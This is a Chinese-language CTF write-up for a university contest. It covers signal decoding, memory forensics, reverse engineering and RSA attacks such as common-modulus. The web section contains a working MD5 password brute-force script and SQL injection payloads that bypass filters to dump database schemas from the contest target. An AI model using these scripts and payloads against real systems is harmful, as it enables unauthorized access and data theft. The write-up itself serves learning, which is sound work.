比赛地址:http://ctf-hainu.com

难度:大部分中等偏易

由于这是他们学校面向校内的普及性比赛,难度没有设定得太高。但有些题目还是很有意思的。这里记录一下其中一些有意思的题。

一、MISC 杂项

0x01.信号分析

题目:Hackcube 抓到的汽车遥控杆的信号,能看出其中有啥嘛?

提示:不包含同步位

附件:

知识点:信号分析

步骤:

1.先上网搜搜 Hackcube,搜到篇这种东西。主办方后来也放出了这个提示。

https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1

2.根据里面的截图,拿 Audacity 看看。没看到什么。

3.后来主办方给出了提示,波形分析,就尝试打开左边这个菜单切换视图看看。

4.换到波形(dB)时有图像了,分析看看。

5.放大仔细看看,发现每个周期的信号都是大致上一致的,推断为一个内容的信号。

6.然后根据上面那篇帖子里提到了,应该是这种编码方式。两长为 1,两短为 0,先短后长为 F,无效码为先长后短。

7.信号的组成格式如下。

8.那么就来解读一下信号吧,再注意到提示里的无同步码,那么一开始 就是地址码了,解读如下。

9. 将其拼接在一起得 FFFFFFFF0001,md5 之后包上 flag{} 即为 flag。

10. Flag 到手~

0x02.你能发现什么蛛丝马迹吗

题目:藏了点东西进去,能从中发现一些东西吗?

附件:

知识点:内存取证,AES 解密

步骤:

1.对镜像进行分析,发现其中有许许多多文件。

2. 尝试 binwalk -e 对其进行提取,未果。

3. 后来发现这个文件为 128M,看起来像内存的大小,那么就看看怎么对其进行分析。上网搜索之后发现可以用 volatility 来对其进行分析。我懒得在 Mac 下装了,就直接切到自带这个工具的 Kali Linux 了。

4.来首先让这个玩意儿来分析一下镜像。

5. Windows 2003 的,那么就指定 profile 为 Win2003SP2x86 来扫描一下进程吧。

volatility -f memory.img –profile=Win2003SP2x86 psscan

6.可以看到只有一个 DumpIt.exe 是最近创建的。上网一搜发现这个就是内存取证的工具,再来从其他方面看看。来看看屏幕截图吧。

mkdir win2003

volatility -f memory.img –profile=Win2003SP2x86 screenshot –dump-dir=./win2003

这样就会把截图输出到 win2003。

只有这一个文件有内容。

7.打开有内容的截图看看,发现似乎打开了一个 flag.png 的窗口。看起来像 Windows 图片查看器- -?可惜乱码了。

8.那么再来读取一下文件列表看看有这个文件没。

volatility -f memory.img –profile=Win2003SP2x86 filescan|grep flag

9.啊哈,有,那么我们按照这个地址来导出文件试试。

volatility -f memory.img –profile=Win2003SP2x86 dumpfiles -Q 0x000000000484f900 -D win2003/

10.打开导出之后的文件看看。

是个二维码,扫描看看,为如下内容:

jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

解码之后意义不明,暂时搁置。

11.再来看看系统里的窗口列表。

volatility -f memory.img –profile=Win2003SP2x86 windows

看到 flag.png 是由 explorer.exe 进程里的 Windows 图片查看器打开的。(Windows 用得少不知道这个了- -)

12.那么我们来尝试 dump 一下 explorer.exe 这个进程的内存试试,pid 为 1992。

volatility -f memory.img --profile=Win2003SP2x86 memdump -p 1992 -D ./win2003/

13.ok,那么再对 dump 出来的内容恢复文件试试。试了试 binwalk 效果不好,来试试 foremost。

cd win2003

foremost 1992.dmp

14.来看看 png 那个目录。

除了之前找到的二维码,还有 key 和 iv。

15.那么就判定是 aes 加密了。按照所给的信息

密文:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

key: Th1s_1s_K3y00000

iv: 1234567890123456

随意找个解密工具 http://tool.chacuo.net/cryptaes 解密看看:

16.Flag 到手~

二、Reverse 逆向

0x01. MFC

题目:直接看附件吧。

附件:

知识点:MFC,动态分析

原题以及 WP: https://bbs.pediy.com/thread-250802.htm

步骤:

1.先切到 Windows,然后在上面运行这个程序。

2.然后打开彗星小助手的窗口 SPY,来分析一下这个窗口。

3.窗口类名有点怪,留着。

944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b

转成 text 也没结果。

4.再用 xspy 分析分析窗口。

5. 0464 这个消息有点意思,来发一个试试。回到彗星小助手,点击常用操作–>发送消息,填好信息点击发送。注意 0464 是十六进制表示,我们将其转为十进制就是 1124。

发送完毕,可以看到这个 Des key 了。

{I am a Des key}

6.推测上面那串东西是密文,那么就利用下面的信息来解密试试。

DES 密文:944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b

DES 密钥:{I am a Des key}

7.找了个网站来解密。https://www.tools4noobs.com/online_tools/decrypt/

包上 flag{} 提交。

8.Flag 到手~

0x02.Maze

题目:找出花指令之后的迷宫

附件:

知识点:去壳,动/静态分析

步骤:

1.继续切到 Windows,发现其为命令行程序。

一闪而过。到 cmd 里打开看看。

2.然后用 peid 来看看有没有壳。

3.有 UPX 的壳,那拿 用 UPX Easy GUI 来脱个壳。

4.脱完壳, IDA 走一波。似乎 F5 转不了。

5.Never mind,我们可以看到这里似乎是接收 14 个字符。

6.再来看看下面的字符串部分,哟,这是啥。

7.似乎跟迷宫沾边儿了。那就用 Linux / Unix 下的 strings 命令来找找字符串吧。

strings maze*.exe

8.拷贝下来,还原迷宫,原则很简单,还原出来为矩形,+ 和 F 周围保证能有豁口(空格)即可,这样才不是死迷宫。

还原出来如下:

9. 用 UDLR 来表示上下左右,那么路线就描述为:

DDLLLDLLDDRRRU

10.输进去不对。也是呢- -咱们似乎还得看看程序。

11.IDA 下面似乎还是有花指令,OD 也看不出端倪。只看到有分支,但真正的分支判断看不出来。那就猜吧。

12.最后猜到 wsad 来表示上下左右的时候,可行。

13. Flag 到手~

三、Web

0x01.sql注入

题目:看靶机吧

靶机:http://twobloom.club/

知识点:爆破,sql 注入

步骤:

1.打开靶机,是这样一个页面。

2.看看源码,有个 hint “试试 hash”。

3.再打开那个登录页面,发现其提示密码为四位数字,再结合试试 hash,估计是得 md5了。

4.不磨叽,抓包,上脚本爆破。

import hashlib

import requests

url = "http://twobloom.club/login.php"


def test(password="0000"):
    payload = "username=admin&password=" + hashlib.md5(password.encode()).hexdigest()
    headers = {
        'Content-Type': "application/x-www-form-urlencoded",
        'cache-control': "no-cache",
        'User-Agent': 'glzjin'
    }

    response = requests.request("POST", url, data=payload, headers=headers)

    if response.text.find("密码错误") == -1:
        return True

    return False


for i in range(1, 9999):
    password = str(i)
    for j in range(0, 4 - len(password)):
        password = "0" + password

    print(password)
    if test(password):
        print("Found!")
        break

跑出来了~

5.把 2019 md5 之后作为密码,可以登录了。

6.看下这个地方有没有注入,看来是有的。

7.多次测试,发现如下的 payload 可以绕过限制。

/**/绕空格,order by 闭合后引号。

keywords=a'/**/union/**/select/**/1,2,3/**/order/**/by/**/'

8.那么,就开始造作起来吧。看下有哪些数据库。

keywords=a'/**/union/**/select/**/1,group_concat(schema_name),3/**/from/**/information_schema.SCHEMATA/**/order/**/by/**/'

9.小老弟有 ctf 数据库呀。那来看看有啥表。

注意等于号也被过滤了,用 like 代替。

keywords=a'/**/union/**/select/**/1,group_concat(TABLE_NAME),3/**/from/**/information_schema.TABLES/**/where/**/table_schema/**/like/**/'ctf'/**/order/**/by/**/'

10.来看看 flag 表有啥列。

keywords=a'/**/union/**/select/**/1,group_concat(COLUMN_NAME),3/**/from/**/information_schema.COLUMNS/**/where/**/table_name/**/like/**/'flag'/**/order/**/by/**/'

11. OK,那就来读这一列上的内容了。

12.Flag 到手~

四、CRYPTO 密码学

三道都是 RSA。一个套路,p*q 得到 n 很容易,但从 n 在分解出 p 和 q 就很难了,特别是这两个数都特别大还是质数的时候,分解就很困难了。

RSA 加密的公钥和私钥都由这两个数生成。

所以,只要知道了 p 和 q,RSA 就不再安全了。

0x01.basic rsa

题目:最简单的 RSA 加密。

27565231154623519221597938803435789010285480123476977081867877272451638645710

附件:

知识点:RSA 加密原理。

步骤:

1.先打开这个 python 源码看看。

import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = "*****************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q


c = pow(int(b2a_hex(flag),16),e,n)

print c

2.这感情好,p,q,e全给了,可以得出公钥和私钥了,直接上网找个加解密脚本改改~

https://gist.github.com/JekaDeka/c9b0f5da16625e3c7bd1033356354579

import random
from binascii import a2b_hex, b2a_hex

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

n = p * q


def multiplicative_inverse(a, b):
    """Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
    """
    # r = gcd(a,b) i = multiplicitive inverse of a mod b
    #      or      j = multiplicitive inverse of b mod a
    # Neg return values for i or j are made positive mod b or a respectively
    # Iterateive Version is faster and uses much less stack space
    x = 0
    y = 1
    lx = 1
    ly = 0
    oa = a  # Remember original a/b to remove
    ob = b  # negative values from return results
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lx) = ((lx - (q * x)), x)
        (y, ly) = ((ly - (q * y)), y)
    if lx < 0:
        lx += ob  # If neg wrap modulo orignal b
    if ly < 0:
        ly += oa  # If neg wrap modulo orignal a
    # return a , lx, ly  # Return only positive values
    return lx


def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a


def generate_keypair(p, q):
    # n = pq
    n = p * q

    # Phi is the totient of n
    phi = (p - 1) * (q - 1)

    # Choose an integer e such that e and phi(n) are coprime
    e = 65533

    # Use Euclid's Algorithm to verify that e and phi(n) are comprime
    g = gcd(e, phi)
    while g != 1:
        e = random.randrange(1, phi)
        g = gcd(e, phi)

    # Use Extended Euclid's Algorithm to generate the private key
    d = multiplicative_inverse(e, phi)

    # Return public and private keypair
    # Public key is (e, n) and private key is (d, n)
    return ((e, n), (d, n))


def encrypt(pk, plaintext):
    # Unpack the key into it's components
    key, n = pk[0]
    print(b2a_hex(plaintext.encode()))
    # Convert each letter in the plaintext to numbers based on the character using a^b mod m
    cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
    # Return the array of bytes
    return cipher


def decrypt(pk, cipher):
    # Unpack the key into it's components
    key, n = pk[1]
    # Convert each letter in the plaintext to numbers based on the character using a^b mod m
    cipher = pow(cipher, key, n)
    # Return the array of bytes
    cipher = a2b_hex(hex(cipher).split('0x')[1])
    return cipher


pk = generate_keypair(p, q)
cipher = 27565231154623519221597938803435789010285480123476977081867877272451638645710
plaintext = decrypt(pk, cipher)
print(plaintext)

3.跑一下~

4.Flag 到手~

0x02.bbbbbbrsa

题目:继续继续。

2373740699529364991763589324200093466206785561836101840381622237225512234632

附件:

知识点:RSA 加密原理

步骤:

1.打开这两个文件看看。

enc:

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM

encode(1).py

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random

flag = "******************************"

nbit = 128

p = getPrime(nbit)
q = getPrime(nbit)
n = p*q

print p
print n

phi = (p-1)*(q-1)

e = random.randint(50000,70000)

while True:
	if gcd(e,phi) == 1:
		break;
	else:
		e -= 1;

c = pow(int(b2a_hex(flag),16),e,n)

print b32encode(str(c))[::-1]

e 是 50000~70000 随机的。

2.ok, 有 n 和 p 就可以求出 q 了。然后 e 那里爆破一下吧。特别注意,Python 在处理这种超大数除法的时候会有精度问题,需要调库或者自己实现。这里我去网上找了个实现。

https://blog.csdn.net/cidplp/article/details/16902983

import random
from binascii import a2b_hex, b2a_hex
from base64 import b64encode as b32encode


def hdiv(dividend, divisor, precision=0):
    """高精度计算除法,没有四舍五入

    @author: cidplp

    @param dividend:被除数
    @type dividend:int
    @param divisor:除数
    @type divisor:int
    @param precision:小数点后精度
    @type precision:int
    @return:除法结果
    @rtype:str
    """

    if isinstance(precision, int) == False or precision < 0:
        print('精度必须为非负整数')
        return

    a = dividend
    b = divisor

    # 有负数的话做个标记
    if abs(a + b) == abs(a) + abs(b):
        flag = 1
    else:
        flag = -1

        # 变为正数,防止取模的时候有影响
    a = abs(a)
    b = abs(b)

    quotient = a // b
    remainder = a % b

    if remainder == 0:
        return quotient

    ans = str(quotient) + '.'

    i = 0
    while i < precision:
        a = remainder * 10
        quotient = a // b
        remainder = a % b
        ans += str(quotient)
        if remainder == 0:
            break
        i += 1

    if precision == 0:
        ans = ans.replace('.', '')

    if flag == -1:
        ans = '-' + ans

    return ans

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
q = hdiv(n, p)


def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a


def multiplicative_inverse(a, b):
    """Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
    """
    # r = gcd(a,b) i = multiplicitive inverse of a mod b
    #      or      j = multiplicitive inverse of b mod a
    # Neg return values for i or j are made positive mod b or a respectively
    # Iterateive Version is faster and uses much less stack space
    x = 0
    y = 1
    lx = 1
    ly = 0
    oa = a  # Remember original a/b to remove
    ob = b  # negative values from return results
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lx) = ((lx - (q * x)), x)
        (y, ly) = ((ly - (q * y)), y)
    if lx < 0:
        lx += ob  # If neg wrap modulo orignal b
    if ly < 0:
        ly += oa  # If neg wrap modulo orignal a
    # return a , lx, ly  # Return only positive values
    return lx


def generate_keypair(p, q, i):
    # n = pq
    n = p * q

    # Phi is the totient of n
    phi = (p - 1) * (q - 1)

    # Choose an integer e such that e and phi(n) are coprime
    e = i

    # Use Extended Euclid's Algorithm to generate the private key
    d = multiplicative_inverse(e, phi)

    # Return public and private keypair
    # Public key is (e, n) and private key is (d, n)
    return ((e, n), (d, n))


def encrypt(pk, plaintext):
    # Unpack the key into it's components
    key, n = pk[0]
    # Convert each letter in the plaintext to numbers based on the character using a^b mod m
    cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
    # Return the array of bytes
    return cipher


def decrypt(pk, cipher):
    try:
        # Unpack the key into it's components
        key, n = pk[1]
        # Convert each letter in the plaintext to numbers based on the character using a^b mod m
        cipher = pow(cipher, key, n)
        # Return the array of bytes
        cipher = a2b_hex(hex(cipher).split('0x')[1])
        return cipher
    except:
        return None


cipher = 2373740699529364991763589324200093466206785561836101840381622237225512234632

phi = (p - 1) * (q - 1)
for i in range(0, 70001):
    if gcd(i, phi) == 1:
        pk = generate_keypair(p, q, i)
        plaintext = decrypt(pk, cipher)

        if plaintext is not None:
            try:
                if plaintext.decode().find('flag') != -1:
                    print(plaintext)
            except:
                pass
    else:
        continue

能正确解密并有 flag 字符的就是我们需要的,cipher 那里为上面的 enc 文件里的cipher 倒置之后的 base64解码数据。

3.跑一下~

4.Flag 到手~

0x03.together

题目:看附件吧。

附件:

知识点:RSA 共模攻击

参考:https://www.jianshu.com/p/2d95bdd0fb0d

步骤:

1.打开文件看看。

pubkey1.pem:

-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgMACR0=
-----END PUBLIC KEY-----

pubkey2.pem:

-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgJbJQ==
-----END PUBLIC KEY-----

myflag1:

R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A==

myflag2:

O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w==

两个公钥,两段密文。

2.先用 RsaCtfTool 看看两个公钥。

前面那个 1:

e:2333

后面那个 2:

e:23333

3.OK,n相同,e 不同,共模攻击,上脚本了。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, gmpy, base64


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def pad_even(x):  # 重要!凑齐2位,将0x1 变成 0x01
    return ('', '0')[len(x) % 2] + x


def CipherB2n(c):  # 将base64编码后的密文转成数字
    c2 = base64.b64decode(c)
    temp = ''
    for i in c2:
        temp += pad_even(str(hex(i))[2:])
    temp = eval('0x' + temp)
    return (temp)


def CipherN2b(m):  # 将数字转换成ascii
    hex_m = hex(m)[2:]
    if hex_m[-1] == 'L':
        hex_m = hex_m[:-1]
    return hex_m


if __name__ == '__main__':

    sys.setrecursionlimit(1000000)
    e1 = 2333  # 根据分解结果
    e2 = 23333  # 根据分解结果
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    c1 = 'R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A=='
    c2 = 'O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w=='
    c1 = CipherB2n(c1)
    c2 = CipherB2n(c2)
    # print hex(c1)
    n = 14853081277902411240991719582265437298941606850989432655928075747449227799832389574251190347654658701773951599098366248661597113015221566041305501996451638624389417055956926238595947885740084994809382932733556986107653499144588614105694518150594105711438983069306254763078820574239989253573144558449346681620784979079971559976102366527270867527423001083169127402157598183442923364480383742653117285643026319914244072975557200353546060352744263637867557162046429886176035616570590229646013789737629785488326501654202429466891022723268768841320111152381619260637023031430545168618446134188815113100443559425057634959299  # 共n
    if s1 < 0:
        s1 = - s1
        c1 = modinv(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = modinv(c2, n)
    m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
    print(m)
    print(CipherN2b(m))

4.跑一下

5.将 hex 转为 text

6.Flag 到手~